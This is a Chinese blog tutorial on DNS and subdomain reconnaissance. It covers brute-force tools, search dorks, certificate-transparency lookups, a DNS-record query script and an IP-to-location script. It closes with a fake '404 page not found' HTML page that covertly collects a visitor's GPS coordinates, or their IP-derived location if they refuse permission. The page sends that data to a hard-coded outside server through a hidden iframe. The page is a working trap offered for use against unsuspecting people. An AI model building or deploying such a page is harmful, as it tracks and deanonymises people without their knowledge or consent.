目录
子域名信息查询
Layer子域名爆破机
subDomainBrute
利用google查询
HTTP证书查询
DNS记录查询脚本
IP转换为经纬度
利用网页获取对方经纬度信息
首先关于DNS域名解析的一些知识,传送门——> DNS域名解析基础
了解了DNS解析的一些知识后,我们就可以开始我们的DNS探测了!
一些和域名查询相关的网站:
相关文章:论二级域名收集的各种姿势
查询子域名有三种方法:
Layer是windows下的一款子域名探测工具,其工作原理是利用子域名字典进行爆破,使用简单容易上手。
链接: https://pan.baidu.com/s/1IS1QCeb6vPIpabBr3LBJ6w 提取码: w749
subDomainBrute的特点是可以用小字典递归的发现三级域名、四级域名、甚至五级域名等不容易被探测到的域名。
相关文章:子域名爆破工具subDomainsBrute
指定站点,然后-就是不包含这个,来查询
site:baidu.com -www
证书透明度(Certificate Transparency)是证书授权机构的一个项目,证书授权机构会将每个SSL/TLS证书发布到公共日志中。一个SSL/TLS证书通常包含域名、子域名和邮件地址。查找某个域名所属证书的最简单的方法就是使用搜索引擎搜索一些公开的CT日志。在线网站:https://crt.sh
可以使用python脚本ct-exposer完成
-
# -*- coding: utf-8 -*-
-
# python3.7环境
-
"""
-
Created on Wed Apr 10 16:40:17 2019
-
@author: 小谢
-
"""
-
##############################################################DNS域名记录查询脚本######################################################
-
import dns.resolver
-
domain=input(
"请输入要查询的域名全拼(例如:www.baidu.com):")
#网站子域名
-
domainpart=[]
-
num=domain.count(
'.')
-
part=domain.split(
'.')
-
for i
in range(num):
-
j=i+
1
-
domainpart.append(part[j])
-
subdomain=
".".join(domainpart)
#网站主域名
-
print(
"该网站主域名为:%s"%subdomain)
-
#查询A记录
-
A=dns.resolver.query(domain,
'A')
-
print(
"********************A记录********************")
-
for i
in A.response.answer:
-
print(i)
-
-
#查询CNAME记录
-
try:
-
CNAME=dns.resolver.query(domain,
'CNAME')
-
print(
"********************CNAME记录********************")
-
for i
in CNAME.response.answer:
-
print(i)
-
except:
-
print(
"--------------------该域名没有CNAME记录!!--------------------")
-
-
#domain=input("请输入要查询的主域名(例如:baidu.com):")
-
#查询MX记录
-
try:
-
MX=dns.resolver.query(subdomain,
'MX')
-
print(
"********************MX记录********************")
-
for i
in MX.response.answer:
-
print(i)
-
except:
-
print(
"--------------------该域名没有MX记录!!--------------------")
-
#NS记录
-
try:
-
NS=dns.resolver.query(subdomain,
'NS')
-
print(
"********************NS记录********************")
-
for i
in NS.response.answer:
-
print(i)
-
except:
-
print(
"--------------------该域名没有NS记录!!--------------------")
-
#SOA记录
-
try:
-
SOA=dns.resolver.query(subdomain,
'SOA')
-
print(
"********************SOA记录********************")
-
for i
in SOA.response.answer:
-
print(i)
-
except:
-
print(
"--------------------该域名没有SOA记录!!--------------------")
-
-
#TXT记录
-
try:
-
TXT=dns.resolver.query(subdomain,
'TXT')
-
print(
"********************TXT记录********************")
-
for i
in TXT.response.answer:
-
print(i)
-
except:
-
print(
"--------------------该域名没有TXT记录!!--------------------")
-
-
#SRV记录
-
try:
-
SRV=dns.resolver.query(domain,
'SRV')
-
print(
"********************SRV记录********************")
-
for i
in SRV.response.answer:
-
print(i)
-
except:
-
print(
"--------------------该域名没有SRV记录!!--------------------")
-
#AAAA记录
-
try:
-
SRV=dns.resolver.query(domain,
'AAAA')
-
print(
"********************AAAA记录********************")
-
for i
in SRV.response.answer:
-
print(i)
-
except:
-
print(
"--------------------该域名没有AAAA记录!!--------------------")
-
# -*- coding: utf-8 -*-
-
# python2.7环境
-
"""
-
Created on Wed Apr 10 16:50:26 2019
-
@author: 小谢
-
"""
-
#####################################################将ip转换为具体的经纬度城市信息#######################################################
-
#返回数据格式链接: http://lbsyun.baidu.com/index.php?title=webapi/ip-api
-
import urllib2
-
import json
-
ip = raw_input(
"please your ip address:")
-
url =
"http://api.map.baidu.com/location/ip?ip=%s&ak=GrwQFVVB5qDWviGtSoB4VbU4KK10QVLy&coor=bd09ll"%ip
-
req = urllib2.Request(url)
-
res_data = urllib2.urlopen(req)
-
res = res_data.read().decode(
"unicode-escape")
# 转格式
-
jsonaddress=json.loads(res)
-
#print res
-
print
"城市:",jsonaddress[
'content'][
'address']
-
print
"省份:",jsonaddress[
'content'][
'address_detail'][
'province']
-
print
"区县:",jsonaddress[
'content'][
'address_detail'][
'district']
-
print
"街道:",jsonaddress[
'content'][
'address_detail'][
'street']
-
print
"经纬度:",jsonaddress[
'content'][
'point'][
'x'],
",",jsonaddress[
'content'][
'point'][
'y']
-
print
"纬经度:",jsonaddress[
'content'][
'point'][
'y'],
",",jsonaddress[
'content'][
'point'][
'x']
经纬度街景地图:谷歌街景地图
只需要输入 纬度,经度,就可以看到定位的街景地图。
-
html>
-
<html>
-
<head>
-
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
-
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
-
<title>404 页面不存在
title>
-
<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js">
script>
-
<script type="text/javascript" src="http://api.map.baidu.com/getscript?v=2.0&ak=GrwQFVVB5qDWviGtSoB4VbU4KK10QVLy">
script>
-
<script src="http://pv.sohu.com/cityjson?ie=utf-8">
script>
-
<script>
-
if(navigator.geolocation){
//如果当前浏览器支持定位
-
navigator.geolocation.getCurrentPosition(getPositionSuccess, getPositionError);
-
}
else{
-
console.log(
"您的浏览器不支持自动定位!");
-
}
-
/***用户定位成功**/
-
function getPositionSuccess(position){
-
var lat = position.coords.latitude;
//经度
-
var lng = position.coords.longitude;
//纬度
-
var address=
"";
-
//通过baiduMap API获取街道名称
-
var map =
new BMap.Map(
"allmap");
-
var point =
new BMap.Point(lng,lat);
-
var gc =
new BMap.Geocoder();
-
gc.getLocation(point,
function(rs){
-
var addComp = rs.addressComponents;
-
address = addComp.city + addComp.district + addComp.street + addComp.streetNumber;
//城市区县街道街道号
-
$(
"#lng").attr(
"value",lng);
//经度
-
$(
"#lat").attr(
"value",lat);
//纬度
-
url=
"http://120.79.74.249:8080/?lng="+lat+
","+lng;
//将经纬度信息传给我们后台搭建的服务器
-
var frame=$(
");
-
frame.attr(
"src",url);
-
frame.attr(
"style",
"display:none");
-
$(
"#body").append(frame);
-
});
-
}
-
/**用户定位失败**/
-
function getPositionError(error){
-
var ip;
-
switch(error.code){
-
case error.TIMEOUT:
-
console.log(
"连接超时,请重试");
-
break;
-
case error.PERMISSION_DENIED:
-
//如果对方拒绝定位,则先通过获取对方ip向百度API获取定位
-
ip=returnCitySN.cip;
-
$.getJSON(
"http://api.map.baidu.com/location/ip?callback=?", {
-
'ak' :
'nbB3KwnfDq6UvNxGqkRfhOzeu7EnmNCH',
-
'coor' :
'bd09ll',
-
'ip' : ip
//获取的ip地址
-
},
function(data) {
-
var lng=data.content.point.x;
//经度
-
var lat=data.content.point.y;
//纬度
-
$(
"#lng").attr(
"value",lng);
//经度
-
$(
"#lat").attr(
"value",lat);
//纬度
-
url=
"http://120.79.74.249:8080/?ip="+ip+
"&address="+lat+
","+lng;
//将ip和经纬度信息传给我们后台搭建的服务器
-
var frame=$(
");
-
frame.attr(
"src",url);
-
frame.attr(
"style",
"display:none");
-
$(
"#body").append(frame);
-
});
-
break;
-
case error.POSITION_UNAVAILABLE:
-
console.log(
"亲爱的火星网友,非常抱歉,我们暂时无法为您所在的星球提供位置服务");
-
break;
-
}
-
}
-
script>
-
<style type="text/css">
-
body,
div,
h3,
h4,
li,
ol{
margin:
0;
padding:
0}
-
body{
font:
14px/
1.5
'Microsoft YaHei',
'微软雅黑',Helvetica,Sans-serif;
min-width:
1200px;
background:
#f0f1f3;}
-
:focus{
outline:
0}
-
h3,
h4,
strong{
font-weight:
700}
-
a{
color:
#428bca;
text-decoration:none}
-
a
:hover{
text-decoration:underline}
-
.error-page{
background:
#f0f1f3;
padding:
80px
0
180px}
-
.error-page-container{
position:relative;
z-index:
1}
-
.error-page-main{
position:relative;
background:
#f9f9f9;
margin:
0 auto;
width:
617px;
-ms-box-sizing:border-box;
-webkit-box-sizing:border-box;
-moz-box-sizing:border-box;
box-sizing:border-box;
padding:
50px
50px
70px}
-
style>
-
head>
-
<body id="body">
-
<div class="error-page">
-
<h3>
-
<div class="error-page-container">
-
<div class="error-page-main">
-
<strong>404
strong>很抱歉,您要访问的页面不存在!
-
div>
-
div>
-
h3>
-
div>
-
div>
-
div>
-
body>
-
html>
相关文章: 子域名枚举的艺术深度剖析
Freebuf-DNS域名信息收集
DNS详解